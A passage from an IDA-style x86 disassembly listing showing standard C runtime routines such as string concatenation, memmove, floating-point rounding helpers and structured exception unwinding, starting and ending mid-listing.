		test	al, cl
		jnz	short loc_41C817
		inc	edx
		jmp	short loc_41C7F7
; ---------------------------------------------------------------------------


loc_41C817:				; CODE XREF: sub_41C794+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_41C81B:				; CODE XREF: sub_41C794+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	ds:dword_4E1544, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_41C794	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C830	proc near		; CODE XREF: sub_40998C+1Cp
					; sub_41581A+19p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_41F504
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C86E
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C87B
; ---------------------------------------------------------------------------


loc_41C86E:				; CODE XREF: sub_41C830+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F3EF
		pop	ecx
		pop	ecx


loc_41C87B:				; CODE XREF: sub_41C830+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C830	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C880	proc near		; CODE XREF: sub_40AF44+46p
					; sub_40B562+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_41C934
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41C8AA


loc_41C89B:				; CODE XREF: sub_41C880+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41C8DB
		test	edi, 3
		jnz	short loc_41C89B


loc_41C8AA:				; CODE XREF: sub_41C880+19j
					; sub_41C880+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41C8AA
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_41C8E8
		test	ah, ah
		jz	short loc_41C8E3
		test	eax, 0FF0000h
		jz	short loc_41C8DE
		test	eax, 0FF000000h
		jnz	short loc_41C8AA


loc_41C8DB:				; CODE XREF: sub_41C880+20j
		dec	edi
		jmp	short loc_41C8EB
; ---------------------------------------------------------------------------


loc_41C8DE:				; CODE XREF: sub_41C880+52j
		sub	edi, 2
		jmp	short loc_41C8EB
; ---------------------------------------------------------------------------


loc_41C8E3:				; CODE XREF: sub_41C880+4Bj
		sub	edi, 3
		jmp	short loc_41C8EB
; ---------------------------------------------------------------------------


loc_41C8E8:				; CODE XREF: sub_41C880+47j
		sub	edi, 4


loc_41C8EB:				; CODE XREF: sub_41C880+5Cj
					; sub_41C880+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_41C900
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C94C
		jmp	short loc_41C91C
; ---------------------------------------------------------------------------


loc_41C900:				; CODE XREF: sub_41C880+75j
					; sub_41C880+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41C93A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_41C930
		test	esi, 3
		jnz	short loc_41C900
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C94C


loc_41C91C:				; CODE XREF: sub_41C880+7Ej
					; sub_41C880+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_41C930


loc_41C923:				; CODE XREF: sub_41C880+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_41C932
		dec	ecx
		jnz	short loc_41C923


loc_41C930:				; CODE XREF: sub_41C880+8Bj
					; sub_41C880+A1j
		mov	[edi], cl


loc_41C932:				; CODE XREF: sub_41C880+ABj
		pop	ebx
		pop	esi


loc_41C934:				; CODE XREF: sub_41C880+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C93A:				; CODE XREF: sub_41C880+85j
					; sub_41C880+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C944:				; CODE XREF: sub_41C880+E4j
					; sub_41C880+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41C91C


loc_41C94C:				; CODE XREF: sub_41C880+7Cj
					; sub_41C880+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41C944
		test	dl, dl
		jz	short loc_41C93A
		test	dh, dh
		jz	short loc_41C998
		test	edx, 0FF0000h
		jz	short loc_41C988
		test	edx, 0FF000000h
		jnz	short loc_41C944
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C988:				; CODE XREF: sub_41C880+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C998:				; CODE XREF: sub_41C880+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41C880	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9B0	proc far		; CODE XREF: sub_40BEB3+15p
					; sub_40BEB3+3Bp ...

arg_FFFFFFFC	= dword	ptr  8
arg_0		= dword	ptr  0Ch
arg_4		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	edi, [ebp+arg_FFFFFFFC]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41C9D0
		cmp	edi, eax
		jb	loc_41CB48


loc_41C9D0:				; CODE XREF: sub_41C9B0+16j
		test	edi, 3
		jnz	short loc_41C9EC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CA0C
		rep movsd
		jmp	ds:off_41CAF8[edx*4]
; ---------------------------------------------------------------------------


loc_41C9EC:				; CODE XREF: sub_41C9B0+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41CA04
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr ds:loc_41CA0C+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CA04:				; CODE XREF: sub_41C9B0+46j
		jmp	dword ptr ds:loc_41CB08[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CA0C:				; CODE XREF: sub_41C9B0+31j
					; sub_41C9B0+8Ej ...
		jmp	ds:off_41CA8C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CA20
		dd offset loc_41CA4C
		dd offset loc_41CA70
; ---------------------------------------------------------------------------


loc_41CA20:				; DATA XREF: sub_41C9B0+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41CA0C
		rep movsd
		jmp	ds:off_41CAF8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CA4C:				; DATA XREF: sub_41C9B0+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41CA0C
		rep movsd
		jmp	ds:off_41CAF8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CA70:				; DATA XREF: sub_41C9B0+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41CA0C
		rep movsd
		jmp	ds:off_41CAF8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CA8C	dd offset loc_41CAEF	; DATA XREF: sub_41C9B0:loc_41CA0Cr
		dd offset loc_41CADC
		dd offset loc_41CAD4
		dd offset loc_41CACC
		dd offset loc_41CAC4
		dd offset loc_41CABC
		dd offset loc_41CAB4
		dd offset loc_41CAAC
; ---------------------------------------------------------------------------


loc_41CAAC:				; CODE XREF: sub_41C9B0:loc_41CA0Cj
					; DATA XREF: sub_41C9B0+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41CAB4:				; CODE XREF: sub_41C9B0:loc_41CA0Cj
					; DATA XREF: sub_41C9B0+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41CABC:				; CODE XREF: sub_41C9B0:loc_41CA0Cj
					; DATA XREF: sub_41C9B0+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41CAC4:				; CODE XREF: sub_41C9B0:loc_41CA0Cj
					; DATA XREF: sub_41C9B0+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41CACC:				; CODE XREF: sub_41C9B0:loc_41CA0Cj
					; DATA XREF: sub_41C9B0+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41CAD4:				; CODE XREF: sub_41C9B0:loc_41CA0Cj
					; DATA XREF: sub_41C9B0+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41CADC:				; CODE XREF: sub_41C9B0:loc_41CA0Cj
					; DATA XREF: sub_41C9B0+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CAEF:				; CODE XREF: sub_41C9B0:loc_41CA0Cj
					; DATA XREF: sub_41C9B0:off_41CA8Co
		jmp	ds:off_41CAF8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CAF8	dd offset loc_41CB08	; DATA XREF: sub_41C9B0+35r
					; sub_41C9B0+92r ...
		dd offset loc_41CB10
		dd offset loc_41CB1C
		dd offset loc_41CB30
; ---------------------------------------------------------------------------


loc_41CB08:				; CODE XREF: sub_41C9B0+35j
					; sub_41C9B0+92j ...
		mov	eax, [ebp+arg_FFFFFFFC]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CB10:				; CODE XREF: sub_41C9B0+35j
					; sub_41C9B0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_FFFFFFFC]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CB1C:				; CODE XREF: sub_41C9B0+35j
					; sub_41C9B0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_FFFFFFFC]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CB30:				; CODE XREF: sub_41C9B0+35j
					; sub_41C9B0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_FFFFFFFC]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CB48:				; CODE XREF: sub_41C9B0+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41CB7C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CB70
		std
		rep movsd
		cld
		jmp	ds:off_41CC90[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CB70:				; CODE XREF: sub_41C9B0+1B1j
					; sub_41C9B0+208j ...
		neg	ecx
		jmp	ds:off_41CC40[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CB7C:				; CODE XREF: sub_41C9B0+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41CB94
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr ds:loc_41CB94+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CB94:				; CODE XREF: sub_41C9B0+1D6j
					; DATA XREF: sub_41C9B0+1DDr
		jmp	ds:off_41CC90[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		test	al, 0CBh
		inc	ecx
		add	al, cl
		retf
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, dh
		retf
; ---------------------------------------------------------------------------
		inc	ecx
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41CB70
		std
		rep movsd
		cld
		jmp	ds:off_41CC90[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41CB70
		std
		rep movsd
		cld
		jmp	ds:off_41CC90[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41CB70
		std
		rep movsd
		cld
		jmp	ds:off_41CC90[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CC44
		dd offset loc_41CC4C
		dd offset loc_41CC54
		dd offset loc_41CC5C
		dd offset loc_41CC64
		dd offset loc_41CC6C
		dd offset loc_41CC74
off_41CC40	dd offset loc_41CC87	; DATA XREF: sub_41C9B0+1C2r
; ---------------------------------------------------------------------------


loc_41CC44:				; DATA XREF: sub_41C9B0+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41CC4C:				; DATA XREF: sub_41C9B0+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41CC54:				; DATA XREF: sub_41C9B0+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41CC5C:				; DATA XREF: sub_41C9B0+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41CC64:				; DATA XREF: sub_41C9B0+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41CC6C:				; DATA XREF: sub_41C9B0+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41CC74:				; DATA XREF: sub_41C9B0+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CC87:				; CODE XREF: sub_41C9B0+1C2j
					; DATA XREF: sub_41C9B0:off_41CC40o
		jmp	ds:off_41CC90[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41CC90	dd offset loc_41CCA0	; DATA XREF: sub_41C9B0+1B7r
					; sub_41C9B0:loc_41CB94r ...
		dd offset loc_41CCA8
		dd offset loc_41CCB8
		dd offset loc_41CCCC
; ---------------------------------------------------------------------------


loc_41CCA0:				; CODE XREF: sub_41C9B0+1B7j
					; sub_41C9B0:loc_41CB94j ...
		mov	eax, [ebp+arg_FFFFFFFC]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CCA8:				; CODE XREF: sub_41C9B0+1B7j
					; sub_41C9B0:loc_41CB94j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_FFFFFFFC]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CCB8:				; CODE XREF: sub_41C9B0+1B7j
					; sub_41C9B0:loc_41CB94j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_FFFFFFFC]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CCCC:				; CODE XREF: sub_41C9B0+1B7j
					; sub_41C9B0:loc_41CB94j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_FFFFFFFC]
		pop	esi
		pop	edi
		leave
		retn
sub_41C9B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CCE5	proc near		; CODE XREF: sub_40BEFB+40p
					; sub_40F168+257p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_41B890
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_420375
		add	esp, 10h
		leave
		retn
sub_41CCE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41CD19(double)

sub_41CD19	proc near		; CODE XREF: sub_40CF3C+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	ds:dword_442520
		call	sub_42164E
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41CD9F
		call	sub_421516
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41CD82
		cmp	eax, 2
		jle	short loc_41CD74
		cmp	eax, 3
		jnz	short loc_41CD82
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_420E26
		add	esp, 10h
		jmp	short loc_41CDE4
; ---------------------------------------------------------------------------


loc_41CD74:				; CODE XREF: sub_41CD19+3Fj
		push	esi
		push	ebx
		call	sub_42164E
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41CDE4
; ---------------------------------------------------------------------------


loc_41CD82:				; CODE XREF: sub_41CD19+3Aj
					; sub_41CD19+44j
		fld	[ebp+arg_0]
		fadd	ds:dbl_427718
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_41CDDC
; ---------------------------------------------------------------------------


loc_41CD9F:				; CODE XREF: sub_41CD19+2Fj
		call	sub_4214DB
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41CDC2


loc_41CDB4:				; CODE XREF: sub_41CD19+ACj
		push	esi
		push	ebx
		call	sub_42164E
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41CDE4
; ---------------------------------------------------------------------------


loc_41CDC2:				; CODE XREF: sub_41CD19+99j
		test	bl, 20h
		jnz	short loc_41CDB4
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_41CDDC:				; CODE XREF: sub_41CD19+84j
		call	sub_420E79
		add	esp, 1Ch


loc_41CDE4:				; CODE XREF: sub_41CD19+59j
					; sub_41CD19+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41CD19	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CDE8	proc near		; CODE XREF: sub_41BE34+9p
					; sub_421717+21p
					; DATA XREF: ...
		call	sub_41CE00
		call	sub_421717
		mov	ds:dword_4E154C, eax
		call	sub_4216C7
		fnclex
		retn
sub_41CDE8	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41CE00	proc near		; CODE XREF: sub_41CDE8p
		mov	eax, offset sub_421B05
		mov	ds:off_442B0C, offset loc_42179A
		mov	ds:off_442B08, eax
		mov	ds:off_442B10, offset sub_421800
		mov	ds:off_442B14, offset sub_421740
		mov	ds:off_442B18, offset loc_4217E8
		mov	ds:off_442B1C, eax
		retn
sub_41CE00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CE38	proc near		; CODE XREF: sub_40CF3C+1Bp
					; sub_40CF3C+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_41CE38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41CE5F(double)

sub_41CE5F	proc near		; CODE XREF: sub_40CF88+82p
					; seg000:0040DF8Cp

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	ds:dword_442538
		call	sub_42164E
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41CEE5
		call	sub_421516
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41CEC8
		cmp	eax, 2
		jle	short loc_41CEBA
		cmp	eax, 3
		jnz	short loc_41CEC8
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_420E26
		add	esp, 10h
		jmp	short loc_41CF2A
; ---------------------------------------------------------------------------


loc_41CEBA:				; CODE XREF: sub_41CE5F+3Fj
		push	esi
		push	ebx
		call	sub_42164E
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41CF2A
; ---------------------------------------------------------------------------


loc_41CEC8:				; CODE XREF: sub_41CE5F+3Aj
					; sub_41CE5F+44j
		fld	[ebp+arg_0]
		fadd	ds:dbl_427718
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_41CF22
; ---------------------------------------------------------------------------


loc_41CEE5:				; CODE XREF: sub_41CE5F+2Fj
		call	sub_4214DB
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41CF08


loc_41CEFA:				; CODE XREF: sub_41CE5F+ACj
		push	esi
		push	ebx
		call	sub_42164E
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41CF2A
; ---------------------------------------------------------------------------


loc_41CF08:				; CODE XREF: sub_41CE5F+99j
		test	bl, 20h
		jnz	short loc_41CEFA
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_41CF22:				; CODE XREF: sub_41CE5F+84j
		call	sub_420E79
		add	esp, 1Ch


loc_41CF2A:				; CODE XREF: sub_41CE5F+59j
					; sub_41CE5F+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41CE5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CF2E	proc near		; CODE XREF: sub_421F76+71p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_41CF2E	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_41CF62	proc near		; CODE XREF: sub_422127+199p
					; sub_4222EB+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41CF62	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CF69	proc near		; CODE XREF: sub_422127+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41CF69	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CF70	proc near		; CODE XREF: sub_41D122+5Cp
					; sub_421F76:loc_421FA7p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_41CF98
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_4265EE	; RtlUnwind


loc_41CF98:				; DATA XREF: sub_41CF70+11o
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp+var_8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_41CF70	endp

; ---------------------------------------------------------------------------


loc_41CFBF:				; CODE XREF: seg000:00426C90j
					; seg000:00426CADj ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_421B7B
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CFF5	proc near		; CODE XREF: sub_421FF1+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_41D049
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
